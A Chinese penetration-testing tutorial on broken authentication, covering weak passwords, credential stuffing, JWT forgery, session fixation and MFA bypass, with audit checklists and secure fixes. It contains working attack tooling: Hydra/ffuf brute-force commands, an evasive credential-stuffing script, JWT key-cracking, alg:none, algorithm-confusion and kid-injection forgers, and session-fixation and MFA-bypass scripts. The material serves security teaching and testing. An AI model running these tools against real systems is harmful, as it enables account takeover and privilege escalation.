身份认证失效:弱口令、JWT 伪造与会话固定
这一项在 2017 年叫 "Broken Authentication"(失效的身份认证),2021 扩到"识别与认证失败"。认证是系统的第一道门 —— 这道门要是形同虚设,后面所有的权限控制(A01)都失去了意义,因为攻击者根本不需要越权,他就是"合法用户"。
一、门卫是怎么失职的
门卫的七种失职
小区门卫的职责是确认"你是这里的住户"。
一个不称职的门卫会犯这些错:
- 你报个名字他就放行,不看证件(无有效认证)
- 他看证件,但只看一眼照片像不像(弱认证)
- 他发了张通行证,永不过期(会话不失效)
- 你的通行证丢了,挂失后门卫的名单没更新(登出不生效)
- 他允许你试一万次密码(无限频)
- 他允许你自己画一张通行证(JWT 未验签/弱密钥)
身份识别与认证失败 就是这一整套问题的集合。
七类失效点速览
| # | 失效点 | 典型表现 | 后果 |
|---|---|---|---|
| 1 | 弱口令策略缺失 | 允许 123456、无复杂度要求 | 易被爆破/猜解 |
| 2 | 无爆破防护 | 登录失败无限次、无限频、无锁定 | 暴力破解可行 |
| 3 | 凭据填充可接受 | 大量泄露的账号密码对可直接用 | 撞库攻击 |
| 4 | 会话管理缺陷 | 会话固定、登出不失效、会话不过期 | 会话劫持 |
| 5 | 令牌实现缺陷 | JWT 弱密钥、alg:none、不验签、kid 注入 | 身份伪造 |
| 6 | 密码找回流程弱 | 密保问题太简单、令牌可预测/可复用 | 账号接管 |
| 7 | 缺多因子认证 | 只有单因子(密码) | 一破即全破 |
三个条件,以及一个送分题
认证绕过要成立,通常需要:
- 认证机制本身可预测或可绕过 —— 弱算法、可预测令牌、逻辑漏洞。
- 缺少尝试次数限制 —— 否则即使概率再低,足够多次也能撞中。
- 认证结果可被外部观察 —— 能区分"用户不存在"/"密码错误"/"成功"(这也是信息泄露)。
💡 关于第 3 点:很多系统为了"用户体验",登录失败时精确提示"该用户不存在"或"密码错误"。这在安全上是送分题 —— 攻击者可以借此枚举出所有注册用户,然后再针对每个用户名跑密码字典。正确的做法是统一提示"用户名或密码错误"。
账号接管之后,所有越权都变成「合法访问」
OWASP 数据:CWE 集合 22 个,平均加权利用率 5.83%,影响 6.56%。
危害很直接:账号接管(Account Takeover)。一旦攻击者拿到一个有效身份,后续的越权(A01)、数据泄露(A02)都变成了"合法访问",所有的审计日志也会记录成正常行为 —— 这是最麻烦的地方。
典型场景:
场景一:凭据填充(Credential Stuffing)
攻击者拿到某站泄露的 1 亿条账号密码(从暗网/公开泄露库)
→ 用脚本在你的登录接口上批量尝试
→ 命中率通常 0.1% ~ 2%(用户习惯复用密码)
→ 1 亿条 × 0.5% = 50 万个账号被接管
特点:请求的"用户名密码对"都是真实泄露的,不是随机爆破
→ 传统的"弱密码检测"失效,因为密码本身可能是复杂的场景二:JWT 密钥爆破
系统用 JWT,密钥是 "secret" / "123456" / 公司名
→ 攻击者拿到一个 token,用字典爆破密钥
→ 爆破成功后可签发任意用户的 token(比如 role: admin)场景三:JWT 算法混淆(alg: none)
服务端代码: jwt.decode(token, verify=False) # 不校验签名
或用 RS256 但接受客户端指定的 HS256(算法混淆攻击)
→ 攻击者篡改 payload 为 {"user":"admin"} → 提权场景四:会话固定(Session Fixation)
攻击者先访问登录页,拿到一个 sessionId(比如 JSESSIONID=ABC123)
→ 诱导受害者用这个 sessionId 登录(通过 URL 参数、XSS 设置 Cookie)
→ 受害者登录成功后,服务端没有更换 sessionId
→ 攻击者用 ABC123 直接以受害者身份访问场景五:短信验证码在前端校验
// 前端判断验证码是否正确,正确才提交请求
if (inputCode === correctCode) {
submitLogin(); // 服务端不校验验证码
}
// 攻击者直接改 JS 或绕过前端,直接调 submitLogin📌 真实场景:审计过一个后台系统,登录接口返回了
Set-Cookie: JSESSIONID=xxx,但登出只是前端跳转到登录页,服务端没有销毁 session。更糟的是 session 的过期时间设成了 30 天。意味着:任何一台公用电脑上,只要有人登录过,之后一个月内任何人打开那个浏览器都能直接进后台。 这就是典型的"登出不失效 + 会话过长"双杀。
二、从代码到黑盒的逐项体检
代码审计:对着认证逻辑逐条问
审计清单(对着认证代码逐条问):
【密码策略】
□ 注册/改密时是否校验密码复杂度?
□ 是否检查了常见弱密码(123456、password、qwerty)?
□ 密码最小长度是多少?(< 8 位视为弱)
【认证过程】
□ 登录失败是否有计数?达到阈值是否锁定?
□ 锁定是永久还是临时?会不会被滥用为"账号锁定攻击"(DoS)?
□ 是否有限频(IP 维度、账号维度)?
□ 是否有验证码?验证码在服务端校验还是前端?
□ 登录失败提示是否统一?(不能区分"用户不存在"/"密码错误")
□ 密码比对是否用恒定时间函数?(防时序攻击)
【会话管理】
□ 登录成功后是否更换 SessionID?(防会话固定)
□ 登出时服务端是否销毁会话?
□ 会话是否有超时?空闲超时和绝对超时分别是多少?
□ 是否绑定了 IP / UA?(可选,权衡用户体验)
□ 敏感操作(改密、改绑手机)是否要求重新认证?
【令牌(JWT / OAuth)】
□ JWT 的签名算法是什么?是否强制指定(不接受客户端指定)?
□ 密钥强度如何?是否硬编码?是否定期轮换?
□ 是否校验 exp / nbf / iss / aud?
□ 是否校验 kid 头(防 kid 注入)?
□ JWT 中是否包含敏感信息(JWT 是 base64 编码,不是加密!)?
□ 登出时 JWT 是否失效?(JWT 无状态,需要额外的黑名单机制)
【多因子】
□ 是否支持 MFA?敏感操作是否强制 MFA?
□ MFA 的备份码/恢复码是否安全?
□ 短信验证码是否有限频、有过期、一次性?代码特征(可 grep):
# 弱密码存储(配合 A02)
grep -rnE "md5\(|sha1\(|hashlib\.md5" --include=*.{java,py,php,js} | grep -i "pass"
# JWT 未验签 / 密钥硬编码
grep -rnE "jwt\.decode\([^,]*\)|verify\s*=\s*False|algorithms\s*=\s*\[?\"?none" --include=*.py
grep -rnE "Jwts\.parser\(\)\.setSigningKey\(\"[^\"]{1,20}\"\)" --include=*.java # 短密钥
grep -rnE "jwt\.sign\(.*[\"'][a-zA-Z0-9]{1,16}[\"']\)" --include=*.js
# 登出未销毁会话
grep -rnE "session\.remove|invalidate|logout" --include=*.{java,py,php,js}
# 若搜索结果为空 → 可能压根没实现服务端登出!
# 会话固定(登录后未更换 sessionId)
grep -rnE "request\.getSession\(\)" --include=*.java | grep -v "changeSessionId"
# 验证码前端校验
grep -rnE "if\s*\(.*code.*===|captcha.*==" --include=*.{js,vue,jsx,tsx}
# 登录失败提示区分用户是否存在
grep -rnE "用户不存在|账号不存在|user.*not.*exist|username.*not.*found" -i --include=*.{java,py,php,js}JWT 危险写法示例:
# ❌ 危险 1:完全不验签
import jwt
payload = jwt.decode(token, options={"verify_signature": False})
# 攻击者可以伪造任意 payload
# ❌ 危险 2:接受客户端指定的算法
payload = jwt.decode(token, key=PUBLIC_KEY, algorithms=jwt.get_unverified_header(token)["alg"])
# 算法混淆攻击:服务端用 RS256(公钥验签),
# 攻击者改成 HS256,并用"公钥本身"作为 HMAC 密钥签名 → 验证通过!
# ❌ 危险 3:弱密钥
jwt.encode(payload, "secret", algorithm="HS256")
jwt.encode(payload, "123456", algorithm="HS256")
# 可被字典爆破
# ❌ 危险 4:不校验过期
payload = jwt.decode(token, key=SECRET, algorithms=["HS256"],
options={"verify_exp": False})
# ✅ 正确写法
payload = jwt.decode(
token,
key=SECRET,
algorithms=["HS256"], # 强制指定算法,不接受客户端指定
options={
"verify_signature": True,
"verify_exp": True, # 校验过期
"verify_nbf": True, # 校验生效时间
"verify_aud": True, # 校验受众
},
audience="my-app",
issuer="my-auth-server",
leeway=30 # 允许 30 秒时钟偏差
)黑盒:弱口令、限频、账号枚举
Step 1:弱口令与爆破检测
# 1. 手工尝试常见弱口令
for pass in 123456 password 12345678 admin admin123 qwerty 123456789; do
code=$(curl -s -o /tmp/r.txt -w "%{http_code}" -X POST https://target.com/api/login \
-H "Content-Type: application/json" \
-d "{\"username\":\"admin\",\"password\":\"$pass\"}")
echo "$pass → HTTP $code $(head -c 100 /tmp/r.txt)"
done
# 2. 确认是否限频(关键!)
# 连续发 30 次错误密码,看是否被锁定或限流
for i in $(seq 1 30); do
code=$(curl -s -o /dev/null -w "%{http_code}" -X POST https://target.com/api/login \
-H "Content-Type: application/json" \
-d '{"username":"admin","password":"WrongPass'$i'"}')
printf "%s " "$code"
done
echo
# 若 30 次全部返回相同的 401(无 429/无锁定提示)→ 无限频,爆破可行
# 3. 检查账号枚举
echo "存在的用户:"
curl -s -X POST https://target.com/api/login \
-H "Content-Type: application/json" \
-d '{"username":"admin","password":"wrong"}' | head -c 200
echo; echo "不存在的用户:"
curl -s -X POST https://target.com/api/login \
-H "Content-Type: application/json" \
-d '{"username":"nonexistentuser9999","password":"wrong"}' | head -c 200
# 若两次响应不同 → 可枚举用户名Step 2:会话管理检测
# 1. 登录后获取 Cookie
curl -s -c /tmp/cookies.txt -X POST https://target.com/api/login \
-H "Content-Type: application/json" \
-d '{"username":"test","password":"Test123!"}'
echo "登录后的 Cookie:"
cat /tmp/cookies.txt
# 2. 检查 Cookie 属性(Secure / HttpOnly / SameSite)
curl -sI https://target.com/api/login | grep -i "set-cookie"
# 3. 会话固定检测
# 3.1 未登录时获取 sessionId
curl -s -c /tmp/pre.txt https://target.com/login > /dev/null
PRE_SID=$(grep -i jsessionid /tmp/pre.txt | awk '{print $7}')
echo "登录前 SID: $PRE_SID"
# 3.2 用这个 sessionId 登录
curl -s -b /tmp/pre.txt -c /tmp/post.txt -X POST https://target.com/api/login \
-d "username=test&password=Test123!"
POST_SID=$(grep -i jsessionid /tmp/post.txt | awk '{print $7}')
echo "登录后 SID: $POST_SID"
# 3.3 对比
if [ "$PRE_SID" = "$POST_SID" ]; then
echo "[!] 会话固定漏洞:登录后 SessionID 未更换"
else
echo "[OK] 登录后已更换 SessionID"
fi
# 4. 登出失效性检测(关键!)
# 4.1 登录,保存 cookie
curl -s -c /tmp/valid.txt -X POST https://target.com/api/login \
-d "username=test&password=Test123!"
# 4.2 用有效 cookie 访问受保护资源,确认 200
echo "登出前访问:"
curl -s -o /dev/null -w "%{http_code}\n" -b /tmp/valid.txt https://target.com/api/profile
# 4.3 调用登出
curl -s -b /tmp/valid.txt -c /tmp/after_logout.txt https://target.com/api/logout
# 4.4 再次用【旧的】cookie 访问(关键:服务端应已销毁)
echo "登出后用旧 cookie 访问:"
code=$(curl -s -o /dev/null -w "%{http_code}" -b /tmp/valid.txt https://target.com/api/profile)
echo "HTTP $code"
if [ "$code" = "200" ]; then
echo "[!] 登出后会话仍然有效 → 会话未正确销毁"
else
echo "[OK] 会话已销毁"
fiStep 3:JWT 检测
# 1. 解码 JWT(JWT 是 base64 编码,可直接解码,不需要密钥)
TOKEN="eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJ1c2VyIjoiYWRtaW4i..."
# JWT 结构: header.payload.signature
decode_jwt() {
local token="$1"
local header=$(echo "$token" | cut -d. -f1)
local payload=$(echo "$token" | cut -d. -f2)
# base64url 解码(需要补 padding)
echo "=== HEADER ==="
echo "$header" | tr '_-' '/+' | base64 -d 2>/dev/null | python3 -m json.tool
echo "=== PAYLOAD ==="
echo "$payload" | tr '_-' '/+' | base64 -d 2>/dev/null | python3 -m json.tool
}
decode_jwt "$TOKEN"
# 2. 检查关键字段
# header: alg 是什么?(none / HS256 / RS256)
# payload: 是否含敏感信息?exp 是否合理?是否有 role/权限字段?
# 3. 测试 alg:none 攻击
python3 << 'EOF'
import base64, json
def b64url_encode(data: bytes) -> str:
return base64.urlsafe_b64encode(data).rstrip(b'=').decode()
def b64url_decode(s: str) -> bytes:
padding = 4 - (len(s) % 4)
return base64.urlsafe_b64decode(s + '=' * padding)
token = "eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.xxx.yyy"
header_b64, payload_b64, sig = token.split('.')
# 篡改 header,把算法改成 none
header = json.loads(b64url_decode(header_b64))
header['alg'] = 'none'
new_header = b64url_encode(json.dumps(header).encode())
# 篡改 payload,提权为 admin
payload = json.loads(b64url_decode(payload_b64))
payload['role'] = 'admin'
payload['user'] = 'admin'
new_payload = b64url_encode(json.dumps(payload).encode())
# none 算法不需要签名
forged = f"{new_header}.{new_payload}."
print("伪造的 token:")
print(forged)
EOF
# 4. 测试密钥爆破(HS256)
# 用 hashcat 或下方的 Python 脚本爆破JWT 检测:先解码看看里面有什么
| 检测项 | 请求特征 | 判断依据 |
|---|---|---|
| 无限频 | 连续 30 次错误登录 | 全部返回相同 401,无 429/锁定 |
| 账号枚举 | 存在的/不存在的用户 | 返回不同提示信息 |
| 弱口令 | admin/123456 | 登录成功 |
| 会话固定 | 对比登录前后 SID | 未更换 → 存在 |
| 登出不失效 | 登出后用旧 cookie | 仍返回 200 → 存在 |
| 会话过长 | 检查 Cookie 过期时间 | 超过 7 天 → 风险 |
| JWT alg:none | 提交 alg=none 的 token | 被接受 → 严重 |
| JWT 弱密钥 | 爆破密钥 | 爆破成功 → 严重 |
| JWT 不验签 | 篡改 payload 后签名留空/随意 | 被接受 → 严重 |
| JWT 含敏感信息 | 解码 payload | 含密码/身份证 → 信息泄露 |
| 验证码前端校验 | 直接调接口不带验证码 | 成功 → 存在 |
| 验证码可复用 | 同一验证码用两次 | 第二次成功 → 存在 |
| 无 MFA | 单因子即可登录 | 缺少第二因子 |
💡 踩坑提示:检测 JWT 时,一定要先解码看看 payload 里有什么。我见过把用户手机号、身份证号、甚至(在早期的某个系统里)密码哈希放在 JWT payload 里的 —— JWT 只是 base64 编码,任何人拿到 token 都能解码,等同于明文。
三、爆破、JWT 伪造与会话固定
⚠️ 以下内容仅限授权渗透测试 / 自有系统 / 安全研究环境中使用。
爆破与凭据填充
Hydra 用法(支持几十种协议):
# ===== 基本语法 =====
# hydra -l <用户名> -P <密码字典> <目标> <协议>
# hydra -L <用户名字典> -P <密码字典> <目标> <协议>
# 1. HTTP POST 表单登录(最常用)
hydra -l admin -P /usr/share/wordlists/rockyou.txt \
target.com http-post-form \
"/login:username=^USER^&password=^PASS^:F=incorrect" \
-t 10 -vV -f
# 参数说明:
# -l admin 指定用户名为 admin
# -P rockyou.txt 密码字典
# target.com 目标主机
# http-post-form 模块名
# "/login:参数:F=失败特征" 格式: 路径:请求体:失败标志
# ^USER^ ^PASS^ 是占位符
# F=incorrect 表示响应中出现 "incorrect" 视为失败
# S=welcome 表示响应中出现 "welcome" 视为成功(二选一)
# -t 10 并发 10
# -vV 显示每次尝试(verbose)
# -f 找到第一个成功就停止
# 2. 用 S= 指定成功标志(更可靠)
hydra -l admin -P rockyou.txt \
target.com http-post-form \
"/api/login:username=^USER^&password=^PASS^:S=success" \
-t 10 -f
# 3. JSON 格式的登录接口
hydra -l admin -P rockyou.txt \
target.com http-post-form \
"/api/login:{\"username\":\"^USER^\",\"password\":\"^PASS^\"}:S=\"token\"" \
-H "Content-Type: application/json" \
-t 10 -f
# 4. 需要 Cookie 的场景(先获取 csrf token)
hydra -l admin -P rockyou.txt \
target.com http-post-form \
"/login:username=^USER^&password=^PASS^&csrf=abc123:F=Invalid" \
-H "Cookie: session=xxx; csrftoken=abc123" \
-t 10 -f
# 5. 指定 HTTP 头
hydra -l admin -P rockyou.txt \
target.com http-post-form \
"/api/login:username=^USER^&password=^PASS^:F=error" \
-H "User-Agent: Mozilla/5.0" \
-H "X-Requested-With: XMLHttpRequest" \
-t 10 -f
# 6. 其他协议
hydra -l root -P rockyou.txt ssh://target.com -t 4 -f
hydra -l admin -P rockyou.txt ftp://target.com -t 4 -f
hydra -l sa -P rockyou.txt mssql://target.com -t 4 -f
hydra -l postgres -P rockyou.txt postgres://target.com -t 4 -f
hydra -l admin -P rockyou.txt smb://target.com -t 4 -f
# 7. 恢复中断的爆破
hydra -R # 恢复上次中断的会话ffuf 用法(HTTP 场景更灵活):
# POST 表单爆破
ffuf -u https://target.com/api/login \
-X POST \
-H "Content-Type: application/x-www-form-urlencoded" \
-d "username=admin&password=FUZZ" \
-w /usr/share/wordlists/rockyou.txt \
-fc 401,403 \
-t 20
# -d POST 数据,FUZZ 是占位符
# -w 字典
# -fc 过滤掉这些响应码(401/403 是失败,过滤掉剩下的就是成功)
# -t 并发
# 也可以: -fs 0 过滤掉长度为 0 的响应
# -mr "success" 只显示响应含 "success" 的
# 更精确:用 -mr 匹配成功标志
ffuf -u https://target.com/api/login \
-X POST -H "Content-Type: application/json" \
-d '{"username":"admin","password":"FUZZ"}' \
-w rockyou.txt \
-mr '"code":200' \
-t 20
# 用户名 + 密码双字典
ffuf -u https://target.com/api/login \
-X POST -H "Content-Type: application/json" \
-d '{"username":"USERFUZZ","password":"PASSFUZZ"}' \
-w users.txt:USERFUZZ \
-w rockyou.txt:PASSFUZZ \
-mode pitchfork \
-fc 401 \
-t 10
# -mode pitchfork 两个字典按顺序一一配对
# -mode clusterbomb 笛卡尔积(全组合,数量爆炸)凭据填充专用脚本(账号密码对来自泄露库,不是随机爆破):
#!/usr/bin/env python3
# -*- coding: utf-8 -*-
"""
凭据填充检测脚本 —— 仅用于授权测试
特点:低速、分散、模拟正常用户,避免触发速率限制
注意:这是"安全评估"用途,目的是验证系统是否有防护,
应控制速率并在测试后提供改进建议
"""
import requests
import time
import random
from concurrent.futures import ThreadPoolExecutor
LOGIN_URL = "https://target.com/api/login"
# 格式: username:password
CRED_FILE = "credentials_sample.txt"
# 模拟真实浏览器的 UA 池
USER_AGENTS = [
"Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 Chrome/120.0",
"Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/605.1.15 Safari/605.1.15",
"Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 Chrome/119.0",
]
SUCCESS_INDICATORS = ['"code":200', '"token"', "登录成功", "success"]
FAIL_INDICATORS = ['"code":401', "密码错误", "用户名或密码错误", "incorrect"]
def try_login(cred: str):
"""尝试单组凭据"""
if ':' not in cred:
return None
username, password = cred.split(':', 1)
headers = {
"User-Agent": random.choice(USER_AGENTS),
"Content-Type": "application/json",
"Accept": "application/json",
}
try:
r = requests.post(
LOGIN_URL,
json={"username": username, "password": password},
headers=headers,
timeout=10,
allow_redirects=False
)
except requests.RequestException:
return None
body = r.text
# 判断成功
is_success = (
r.status_code in (200, 302)
and any(ind in body for ind in SUCCESS_INDICATORS)
and not any(ind in body for ind in FAIL_INDICATORS)
)
if is_success:
return (username, password, r.status_code)
return None
def main():
with open(CRED_FILE, 'r', encoding='utf-8', errors='ignore') as f:
creds = [l.strip() for l in f if ':' in l]
print(f"[*] 加载 {len(creds)} 组凭据")
print(f"[*] 低速模式:并发 2,每次随机延迟 1-3 秒")
print(f"[*] 目的:验证系统是否具备凭据填充防护\n")
hits = []
# 低并发 + 随机延迟,模拟正常用户行为
with ThreadPoolExecutor(max_workers=2) as executor:
for i, result in enumerate(executor.map(try_login, creds)):
if result:
username, password, code = result
print(f"[!] 命中: {username}:{password} (HTTP {code})")
hits.append(result)
if (i + 1) % 50 == 0:
print(f" 进度: {i+1}/{len(creds)}")
time.sleep(random.uniform(1, 3)) # 随机延迟
print(f"\n[*] 完成,命中 {len(hits)} 组")
if hits:
print("[!] 系统缺乏有效的凭据填充防护,建议:")
print(" 1. 接入风控,检测异常登录(异地、新设备、高频)")
print(" 2. 强制弱密码用户改密")
print(" 3. 启用 MFA")
print(" 4. 接入泄露凭据库比对(如 HIBP API)")
else:
print("[+] 未命中,系统可能已有一定防护")
if __name__ == "__main__":
main()📌 重要说明:凭据填充测试的目的不是"攻破系统",而是"验证系统有没有防护"。跑之前要先拿到明确的授权,并使用自己系统的测试账号数据(而不是真实的泄露库),跑完立即销毁结果。上面这个脚本用低速率就是为了不影响生产系统。
JWT 三板斧:密钥爆破、算法混淆、kid 注入
攻击一:密钥爆破
#!/usr/bin/env bash
# JWT HS256 密钥爆破
# 用法: bash jwt_crack.sh <token> <字典>
TOKEN="$1"
WORDLIST="${2:-/usr/share/wordlists/rockyou.txt}"
echo "[*] 目标 token: ${TOKEN:0:50}..."
# 方法 1: 用 hashcat(最快,支持 GPU)
# hashcat 模式 16500 = JWT HS256
echo "$TOKEN" > /tmp/jwt.txt
hashcat -m 16500 -a 0 /tmp/jwt.txt "$WORDLIST" --force --show
# -m 16500 JWT (JSON Web Token) 的 hashcat 模式码
# -a 0 字典攻击
# --show 显示已破解结果
# 方法 2: 用 Python 脚本(无 GPU 环境)
python3 - "$TOKEN" "$WORDLIST" << 'PYEOF'
import sys, jwt, base64
token = sys.argv[1]
wordlist = sys.argv[2]
count = 0
with open(wordlist, 'rb') as f:
for line in f:
key = line.strip()
if not key:
continue
count += 1
try:
# 尝试用该密钥验签
jwt.decode(token, key, algorithms=["HS256"])
print(f"[+] 密钥爆破成功: {key.decode('utf-8', errors='ignore')}")
print(f"[+] 尝试次数: {count}")
sys.exit(0)
except jwt.InvalidSignatureError:
continue # 签名错误,继续下一个
except jwt.ExpiredSignatureError:
# 签名正确但 token 过期 —— 说明密钥对了!
print(f"[+] 密钥爆破成功(token 已过期): {key.decode('utf-8', errors='ignore')}")
sys.exit(0)
except Exception:
continue
if count % 100000 == 0:
print(f" 已尝试 {count} 个...", flush=True)
print(f"[-] 未爆破成功,共尝试 {count} 个")
PYEOF爆破成功后,签发任意 token:
#!/usr/bin/env python3
# -*- coding: utf-8 -*-
"""
JWT 密钥爆破成功后,伪造任意用户身份 —— 仅用于授权测试
"""
import jwt
import time
SECRET = "secret123" # 爆破出来的密钥
# 构造 payload(提权为 admin)
payload = {
"sub": "admin",
"user": "admin",
"role": "admin", # 提权关键
"permissions": ["*"],
"iat": int(time.time()),
"exp": int(time.time()) + 86400 * 365, # 有效期 1 年
"iss": "my-auth-server",
}
forged = jwt.encode(payload, SECRET, algorithm="HS256")
print("[+] 伪造的 admin token:")
print(forged)
# 使用
# curl -H "Authorization: Bearer <forged>" https://target.com/api/admin/users攻击二:算法混淆(RS256 → HS256)
#!/usr/bin/env python3
"""
算法混淆攻击:服务端用 RS256(私钥签名、公钥验签),
攻击者把算法改成 HS256,并用"公开可得的公钥"作为 HMAC 密钥签名。
若服务端代码写成 algorithms=[从 header 读取],就会用公钥做 HMAC 验证 → 通过。
仅用于授权测试。
"""
import jwt
import base64
# 服务端公开的验签公钥(通常从 /jwks.json 或 /.well-known/jwks.json 获取)
PUBLIC_KEY = """-----BEGIN PUBLIC KEY-----
MIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIBCgKCAQEA...
-----END PUBLIC KEY-----"""
payload = {
"sub": "admin",
"role": "admin",
"exp": 9999999999
}
# 关键:用【公钥字符串本身】作为 HMAC 的密钥
forged = jwt.encode(payload, PUBLIC_KEY, algorithm="HS256")
print("[+] 算法混淆攻击生成的 token:")
print(forged)
print()
print("[*] 攻击成立的条件:")
print(" 服务端代码形如: jwt.decode(token, key=PUBLIC_KEY, algorithms=header['alg'])")
print("[*] 修复方案:")
print(" 强制指定算法: jwt.decode(token, key=PUBLIC_KEY, algorithms=['RS256'])")攻击三:kid 头注入
#!/usr/bin/env python3
"""
kid (Key ID) 注入:JWT header 的 kid 字段用于指定用哪个密钥验签。
若服务端把 kid 直接拼进文件路径/数据库查询,可能引发路径遍历或 SQL 注入。
仅用于授权测试。
"""
import jwt
import base64
import json
payload = {"sub": "admin", "role": "admin", "exp": 9999999999}
# 变体 1:路径遍历(让服务端读取攻击者可控的文件作为密钥)
header = {
"alg": "HS256",
"kid": "../../../../dev/null" # /dev/null 是空文件,密钥为空字符串
}
# 若服务端用 file_get_contents("/path/to/keys/" . $kid) 读取密钥,
# 读到 /dev/null → 密钥为空 → 攻击者用空字符串签名即可
# 变体 2:SQL 注入
header2 = {
"alg": "HS256",
"kid": "key1' UNION SELECT 'attacker_key' -- "
}
# 若服务端用 SELECT key FROM keys WHERE kid = '$kid' → SQL 注入
# 用空密钥签名(配合 /dev/null 场景)
forged = jwt.encode(payload, "", algorithm="HS256", headers={"kid": "../../../../dev/null"})
print("[+] kid 路径遍历 payload:")
print(forged)
print()
print("[*] 修复方案:")
print(" kid 必须走白名单映射,不能拼接进路径或 SQL")
print(" 正确: key = KEY_MAP.get(kid) or raise Error")会话固定:登录前后那个没换的 SessionID
#!/usr/bin/env bash
# 会话固定漏洞验证
# 用法: bash session_fixation.sh https://target.com
TARGET="$1"
echo "===== Step 1: 攻击者未登录时获取一个 sessionId ====="
curl -s -c /tmp/attacker_cookies.txt "$TARGET/login" -o /dev/null
ATTACKER_SID=$(grep -iE "jsessionid|sessionid|phpsessid" /tmp/attacker_cookies.txt | awk '{print $7}')
echo "攻击者持有的 SID: $ATTACKER_SID"
echo
echo "===== Step 2: 诱导受害者使用这个 SID 登录 ====="
echo "(实际攻击中通过 URL 参数、XSS 设置 Cookie、或中间人注入)"
echo "模拟:用攻击者的 SID 提交受害者的登录凭据"
curl -s -b "JSESSIONID=$ATTACKER_SID" -c /tmp/victim_cookies.txt \
-X POST "$TARGET/login" \
-d "username=victim&password=VictimPass123!" -o /dev/null
VICTIM_SID=$(grep -iE "jsessionid|sessionid|phpsessid" /tmp/victim_cookies.txt | awk '{print $7}')
echo "受害者登录后的 SID: $VICTIM_SID"
echo
echo "===== Step 3: 对比 ====="
if [ "$ATTACKER_SID" = "$VICTIM_SID" ] && [ -n "$ATTACKER_SID" ]; then
echo "[!] 会话固定漏洞成立:登录后 SessionID 未更换"
echo
echo "===== Step 4: 攻击者用原 SID 访问受害者资源 ====="
code=$(curl -s -o /tmp/profile.txt -w "%{http_code}" \
-b "JSESSIONID=$ATTACKER_SID" "$TARGET/profile")
echo "HTTP $code"
echo "响应预览: $(head -c 200 /tmp/profile.txt)"
if [ "$code" = "200" ]; then
echo "[!] 攻击者成功以受害者身份访问 → 漏洞确认"
fi
else
echo "[OK] 登录后已更换 SessionID,会话固定不可行"
fiMFA 绕过:七种常见手法
| 绕过方式 | 手法 | 说明 |
|---|---|---|
| 直接访问后续步骤 | 跳过验证码步骤,直接调登录成功后的接口 | 服务端未校验"已完成 MFA"状态 |
| 改响应包 | 拦截验证失败的响应,改成成功 | 前端只根据响应决定跳转(服务端应有状态) |
| 验证码爆破 | 6 位验证码无限次尝试 | 无限频 |
| 验证码复用 | 同一个验证码用多次 | 未一次性失效 |
| 改手机号参数 | 验证码发给 A,但提交时手机号填 B | 验证码与手机号未绑定 |
| 验证码在响应中 | 抓包直接看到验证码 | 服务端返回了验证码(常见"调试遗留") |
| MFA 状态不校验 | 换密码时不需要重新认证 | 敏感操作缺少二次验证 |
#!/usr/bin/env bash
# MFA / 二次验证绕过测试
# 用法: bash mfa_bypass.sh https://target.com
TARGET="$1"
echo "===== 1. 验证码是否在响应中返回 ====="
resp=$(curl -s -X POST "$TARGET/api/send-code" \
-H "Content-Type: application/json" -d '{"phone":"13800138000"}')
echo "$resp" | head -c 300
if echo "$resp" | grep -qiE "code|验证码"; then
echo "[!] 响应中包含验证码 → 严重设计缺陷"
fi
echo
echo "===== 2. 能否跳过 MFA 步骤直接访问后续接口 ====="
# 假设流程: /api/login (密码) → /api/verify-2fa (验证码) → /api/dashboard
# 测试:只完成第一步,直接访问 dashboard
TOKEN=$(curl -s -X POST "$TARGET/api/login" \
-H "Content-Type: application/json" \
-d '{"username":"test","password":"Test123!"}' | jq -r '.token')
code=$(curl -s -o /dev/null -w "%{http_code}" \
-H "Authorization: Bearer $TOKEN" "$TARGET/api/dashboard")
echo "仅完成密码认证后访问 dashboard: HTTP $code"
if [ "$code" = "200" ]; then
echo "[!] MFA 可跳过 → 二次验证形同虚设"
fi
echo
echo "===== 3. 验证码与手机号绑定校验 ====="
# 用 A 的手机号获取验证码,提交时填 B 的手机号
curl -s -X POST "$TARGET/api/send-code" \
-H "Content-Type: application/json" -d '{"phone":"13800138000"}' -o /dev/null
# 假设攻击者通过某种方式拿到了发给 13800138000 的验证码
CODE="123456"
resp=$(curl -s -X POST "$TARGET/api/verify-code" \
-H "Content-Type: application/json" \
-d "{\"phone\":\"13900139000\",\"code\":\"$CODE\"}")
echo "$resp" | head -c 200
if echo "$resp" | grep -qi "success"; then
echo "[!] 验证码与手机号未绑定 → 可用自己的验证码验证他人手机号"
fi
echo
echo "===== 4. 验证码可复用 ====="
curl -s -X POST "$TARGET/api/send-code" \
-H "Content-Type: application/json" -d '{"phone":"13800138000"}' -o /dev/null
echo "第一次使用:"
curl -s -X POST "$TARGET/api/verify-code" \
-H "Content-Type: application/json" \
-d "{\"phone\":\"13800138000\",\"code\":\"$CODE\"}" | head -c 150
echo; echo "第二次使用同一验证码:"
curl -s -X POST "$TARGET/api/verify-code" \
-H "Content-Type: application/json" \
-d "{\"phone\":\"13800138000\",\"code\":\"$CODE\"}" | head -c 150
# 若第二次也成功 → 验证码可复用
echo
echo "===== 完成 ====="四、密码、会话与 MFA 的落地方案
密码策略:NIST 的现代建议
密码策略(NIST SP 800-63B 的现代建议,比传统的"强制复杂度"更科学):
✅ 最小长度 8 位(建议 12 位)
✅ 允许所有可打印字符(包括空格和 Unicode)
✅ 检查常见弱密码(用弱密码字典,而不是"必须含大小写数字符号")
✅ 检查是否出现在已知泄露库中(HIBP API)
✅ 不强制定期改密码(除非有泄露证据)
❌ 不强制"必须包含大小写+数字+符号"(NIST 明确反对,会导致 Password1! 这种可预测模式)
❌ 不限制最大长度过低(至少允许 64 位,支持 passphrase)
❌ 不用"密保问题"(答案往往可社工或可猜)密码存储(配合 A02):
// ✅ bcrypt,强度 12
@Bean
public PasswordEncoder passwordEncoder() {
return new BCryptPasswordEncoder(12);
}
// 登录时用恒定时间比较(BCryptPasswordEncoder.matches 内部已实现)
if (!encoder.matches(rawPassword, storedHash)) {
// 统一错误提示,不区分"用户不存在"和"密码错误"
throw new BadCredentialsException("用户名或密码错误");
}弱密码检测 + 泄露库比对:
# ============================================
# 密码强度校验(遵循 NIST SP 800-63B)
# ============================================
import re
import hashlib
import requests
